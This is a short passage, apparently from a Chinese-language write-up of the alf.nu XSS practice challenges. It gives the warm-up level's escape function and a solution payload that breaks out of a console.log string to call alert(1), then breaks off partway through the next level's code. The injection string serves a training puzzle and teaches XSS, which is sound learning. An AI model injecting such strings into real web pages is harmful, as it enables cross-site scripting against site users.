https://alf.nu/alert1#XSS练习 Warm up function escape(s) { return '<script>console.log("'+s+'");</script>'; }ans: ");alert(1,"闭合掉console.log即可,此时output: <script>console.log("");alert(1,"");</script> Adobe function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>...